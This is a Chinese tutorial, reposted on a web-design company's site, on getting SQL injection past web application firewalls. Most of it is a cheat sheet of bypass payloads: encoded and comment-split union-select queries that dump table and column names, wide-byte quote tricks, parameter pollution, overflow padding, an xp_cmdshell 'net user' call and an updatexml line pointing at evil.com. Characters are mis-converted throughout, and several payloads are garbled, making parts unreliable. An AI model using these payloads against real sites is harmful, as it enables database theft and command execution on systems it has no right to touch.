本篇內(nèi)容介紹了“web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)”的有關(guān)知識,在實(shí)際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
成都一家集口碑和實(shí)力的網(wǎng)站建設(shè)服務(wù)商,擁有專業(yè)的企業(yè)建站團(tuán)隊(duì)和靠譜的建站技術(shù),10多年企業(yè)及個人網(wǎng)站建設(shè)經(jīng)驗(yàn) ,為成都成百上千家客戶提供網(wǎng)頁設(shè)計制作,網(wǎng)站開發(fā),企業(yè)網(wǎng)站制作建設(shè)等服務(wù),包括成都營銷型網(wǎng)站建設(shè),品牌網(wǎng)站建設(shè),同時也為不同行業(yè)的客戶提供成都網(wǎng)站設(shè)計、成都網(wǎng)站建設(shè)的服務(wù),包括成都電商型網(wǎng)站制作建設(shè),裝修行業(yè)網(wǎng)站制作建設(shè),傳統(tǒng)機(jī)械行業(yè)網(wǎng)站建設(shè),傳統(tǒng)農(nóng)業(yè)行業(yè)網(wǎng)站制作建設(shè)。在成都做網(wǎng)站,選網(wǎng)站制作建設(shè)服務(wù)商就選創(chuàng)新互聯(lián)建站。
之所以要談到WAF的常見特征,是為了更好的了解WAF的運(yùn)行機(jī)制,這樣就能增加幾分繞過的機(jī)會了。本文不對WAF做詳細(xì)介紹,只談及幾點(diǎn)相關(guān)的。
總體來說,WAF(Web Application Firewall)的具有以下四個方面的功能:
\1. 審計設(shè)備:用來截獲所有HTTP數(shù)據(jù)或者僅僅滿足某些規(guī)則的會話
\2. 訪問控制設(shè)備:用來控制對Web應(yīng)用的訪問,既包括主動安全模式也包括被動安全模式
\3. 架構(gòu)/網(wǎng)絡(luò)設(shè)計工具:當(dāng)運(yùn)行在反向代理模式,他們被用來分配職能,集中控制,虛擬基礎(chǔ)結(jié)構(gòu)等。
\4. WEB應(yīng)用加固工具:這些功能增強(qiáng)被保護(hù)Web應(yīng)用的安全性,它不僅能夠屏蔽WEB應(yīng)用固有弱點(diǎn),而且能夠保護(hù)WEB應(yīng)用編程錯誤導(dǎo)致的安全隱患。
WAF的常見特點(diǎn):
異常檢測協(xié)議:拒絕不符合HTTP標(biāo)準(zhǔn)的請求
增強(qiáng)的輸入驗(yàn)證:代理和服務(wù)端的驗(yàn)證,而不只是限于客戶端驗(yàn)證
白名單&黑名單:白名單適用于穩(wěn)定的We應(yīng)用,黑名單適合處理已知問題
基于規(guī)則和基于異常的保護(hù):基于規(guī)則更多的依賴黑名單機(jī)制,基于異常更為靈活
狀態(tài)管理:重點(diǎn)進(jìn)行會話保護(hù)
另還有:Coikies保護(hù)、抗入侵規(guī)避技術(shù)、響應(yīng)監(jiān)視和信息泄露保護(hù)等
如果是對于掃描器,WAF有其識別之道:
掃描器識別主要由以下幾點(diǎn):
1) 掃描器指紋(head字段/請求參數(shù)值),以wvs為例,會有很明顯的Acunetix在內(nèi)的標(biāo)識
2) 單IP+ cookie某時間段內(nèi)觸發(fā)規(guī)則次數(shù)
3) 隱藏的鏈接標(biāo)簽等(<a>)
4) Cookie植入
5) 驗(yàn)證碼驗(yàn)證,掃描器無法自動填充驗(yàn)證碼
6) 單IP請求時間段內(nèi)Webserver返回http狀態(tài)404比例, 掃描器探測敏感目錄基于字典,找不到文件則返回404
從目前能找到的資料來看,我把這些繞過waf的技術(shù)分為9類,包含從初級到高級技巧
a) 大小寫混合
b)替換關(guān)鍵字
c)使用編碼
d)使用注釋
e)等價函數(shù)與命令
f)特殊符號
g)HTTP參數(shù)控制
h)緩沖區(qū)溢出
i)整合繞過
大小寫繞過用于只針對小寫或大寫的關(guān)鍵字匹配技術(shù),正則表達(dá)式/express/i 大小寫不敏感即無法繞過,這是最簡單的繞過技術(shù)
舉例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例場景可能的情況為filter的規(guī)則里有對大小寫轉(zhuǎn)換的處理,但不是每個關(guān)鍵字或每種情況都有處理
這種情況下大小寫轉(zhuǎn)化無法繞過,而且正則表達(dá)式會替換或刪除select、union這些關(guān)鍵字,如果只匹配一次就很容易繞過
舉例:z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
同樣是很基礎(chǔ)的技術(shù),有些時候甚至構(gòu)造得更復(fù)雜:SeLSeselectleCTecT,不建議對此抱太大期望
1.URL編碼
在Chrome中輸入一個連接,非保留字的字符瀏覽器會對其URL編碼,如空格變?yōu)?20、單引號%27、左括號%28、右括號%29
普通的URL編碼可能無法實(shí)現(xiàn)繞過,還存在一種情況URL編碼只進(jìn)行了一次過濾,可以用兩次編碼繞過:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
2.十六進(jìn)制編碼
舉例:z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代碼中,前者是對單個字符十六進(jìn)制編碼,后者則是對整個字符串編碼,使用上來說較少見一點(diǎn)
3.Unicode編碼
Unicode有所謂的標(biāo)準(zhǔn)編碼和非標(biāo)準(zhǔn)編碼,假設(shè)我們用的utf-8為標(biāo)準(zhǔn)編碼,那么西歐語系所使用的就是非標(biāo)準(zhǔn)編碼了
看一下常用的幾個符號的一些Unicode編碼:
單引號: %u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括號:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括號:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
舉例:?id=10%D6‘%20AND%201=2%23
SELECT '?'='A'; #1
兩個示例中,前者利用雙字節(jié)繞過,比如對單引號轉(zhuǎn)義操作變成',那么就變成了%D6%5C',%D6%5C構(gòu)成了一個款字節(jié)即Unicode字節(jié),單引號可以正常使用
第二個示例使用的是兩種不同編碼的字符的比較,它們比較的結(jié)果可能是True或者False,關(guān)鍵在于Unicode編碼種類繁多,基于黑名單的過濾器無法處理所以情況,從而實(shí)現(xiàn)繞過
另外平時聽得多一點(diǎn)的可能是utf-7的繞過,還有utf-16、utf-32的繞過,后者從成功的實(shí)現(xiàn)對google的繞過,有興趣的朋友可以去了解下
常見的編碼當(dāng)然還有二進(jìn)制、八進(jìn)制,它們不一定都派得上用場,但后面會提到使用二進(jìn)制的例子
看一下常見的用于注釋的符號有哪些://, -- , /**/, #, --+,-- -, ;**,--a
1.普通注釋
舉例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在構(gòu)造得查詢語句中插入注釋,規(guī)避對空格的依賴或關(guān)鍵字識別;#、--+用于終結(jié)語句的查詢
2.內(nèi)聯(lián)注釋
相比普通注釋,內(nèi)聯(lián)注釋用的更多,它有一個特性/!**/只有MySQL能識別
舉例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…
兩個示例中前者使用內(nèi)聯(lián)注釋,后者還用到了普通注釋。使用注釋一個很有用的做法便是對關(guān)鍵字的拆分,要做到這一點(diǎn)后面討論的特殊符號也能實(shí)現(xiàn),當(dāng)然前提是包括/、*在內(nèi)的這些字符能正常使用
有些函數(shù)或命令因其關(guān)鍵字被檢測出來而無法使用,但是在很多情況下可以使用與之等價或類似的代碼替代其使用
1.函數(shù)或變量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
舉例:substring()和substr()無法使用時:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
上述這幾個示例用于說明有時候當(dāng)某個函數(shù)不能使用時,還可以找到其他的函數(shù)替代其實(shí)現(xiàn),置于select、uinon、where等關(guān)鍵字被限制如何處理將在后面filter部分討論
2.符號
and和or有可能不能使用,或者可以試下&&和||能不能用;還有=不能使用的情況,可以考慮嘗試<、>,因?yàn)槿绻恍∮谟植淮笥冢沁吺堑扔诹?/p>
在看一下用得多的空格,可以使用如下符號表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函數(shù)
MySQL/PostgreSQL支持XML函數(shù):Select UpdateXML(‘<script x=_></script> ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它們都有許多自己的函數(shù),基于黑名單的filter要想涵蓋這么多東西從實(shí)際上來說不太可能,而且代價太大,看來黑名單技術(shù)到一定程度便遇到了限制
這里我把非字母數(shù)字的字符都規(guī)在了特殊符號一類,特殊符號有特殊的含義和用法,涉及信息量比前面提到的幾種都要多
先看下烏云drops上“waf的繞過技巧”一文使用的幾個例子:
1.使用反引號,例如select
version()`,可以用來過空格和正則,特殊情況下還可以將其做注釋符用
2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串連接的,”-”和”.”在此也用于連接,可以逃過空格和關(guān)鍵字過濾
3.@符號,select@^1.from users; @用于變量定義如@var_name,一個@表示用戶定義,@@表示系統(tǒng)變量
4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //繞過空格限制
可見,使用這些字符的確是能做很多事,也證實(shí)了那句老話,只有想不到,沒有做不到
本人搜羅了部分可能發(fā)揮大作用的字符(未包括'、*、/等在內(nèi),考慮到前面已經(jīng)出現(xiàn)較多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
舉例:
關(guān)鍵字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于數(shù)值也可以做分隔
本節(jié)最后在給出一些和這些字符多少有點(diǎn)關(guān)系的操作符供參考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用這些"特殊符號"實(shí)現(xiàn)繞過是一件很細(xì)微的事情,一方面各家數(shù)據(jù)庫對有效符號的處理是不一樣的,另一方面你得充分了解這些符號的特性和使用方法才能作為繞過手段
這里HTTP參數(shù)控制除了對查詢語句的參數(shù)進(jìn)行篡改,還包括HTTP方法、HTTP頭的控制
1.HPP(HTTP Parameter Polution)
舉例:/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/*/union/&id=/select/&id=/pwd/&id=/from/&id=*/users
HPP又稱做重復(fù)參數(shù)污染,最簡單的就是?uid=1&uid=2&uid=3,對于這種情況,不同的Web服務(wù)器處理方式如下:
具體WAF如何處理,要看其設(shè)置的規(guī)則,不過就示例中最后一個來看有較大可能繞過
2.HPF(HTTP Parameter Fragment)
這種方法是HTTP分割注入,同CRLF有相似之處(使用控制字符%0a、%0d等執(zhí)行換行)
舉例:
/?a=1+union/&b=/select+1,pass/&c=/from+users--
select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—
看罷上面兩個示例,發(fā)現(xiàn)和HPP最后一個示例很像,不同之處在于參數(shù)不一樣,這里是在不同的參數(shù)之間進(jìn)行分割,到了數(shù)據(jù)庫執(zhí)行查詢時再合并語句。
3.HPC(HTTP Parameter Contamination)
這一概念見于exploit-db上的paper:Beyond SQLi: Obfuscate and Bypass,Contamination同樣意為污染
RFC2396定義了如下一些字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `
不同的Web服務(wù)器處理處理構(gòu)造得特殊請求時有不同的邏輯:
以魔術(shù)字符%為例,Asp/Asp.net會受到影響
緩沖區(qū)溢出用于對付WAF,有不少WAF是C語言寫的,而C語言自身沒有緩沖區(qū)保護(hù)機(jī)制,因此如果WAF在處理測試向量時超出了其緩沖區(qū)長度,就會引發(fā)bug從而實(shí)現(xiàn)繞過
舉例:
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA*1000指0xA后面”A"重復(fù)1000次,一般來說對應(yīng)用軟件構(gòu)成緩沖區(qū)溢出都需要較大的測試長度,這里1000只做參考,在某些情況下可能不需要這么長也能溢出
整合的意思是結(jié)合使用前面談到的各種繞過技術(shù),單一的技術(shù)可能無法繞過過濾機(jī)制,但是多種技術(shù)的配合使用成功的可能性就會增加不少了。這一方面來說是總體與局部和的關(guān)系,另一方面則是多種技術(shù)的使用創(chuàng)造了更多的可能性,除非每一種技術(shù)單獨(dú)都無法使用,否則它們能產(chǎn)生比自身大得多的能量。
舉例:
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
“web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!
分享文章:web安全中SQL注入繞過技術(shù)怎么實(shí)現(xiàn)
當(dāng)前路徑:http://chinadenli.net/article8/ppgeip.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供微信公眾號、用戶體驗(yàn)、網(wǎng)站改版、定制網(wǎng)站、軟件開發(fā)、品牌網(wǎng)站制作
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)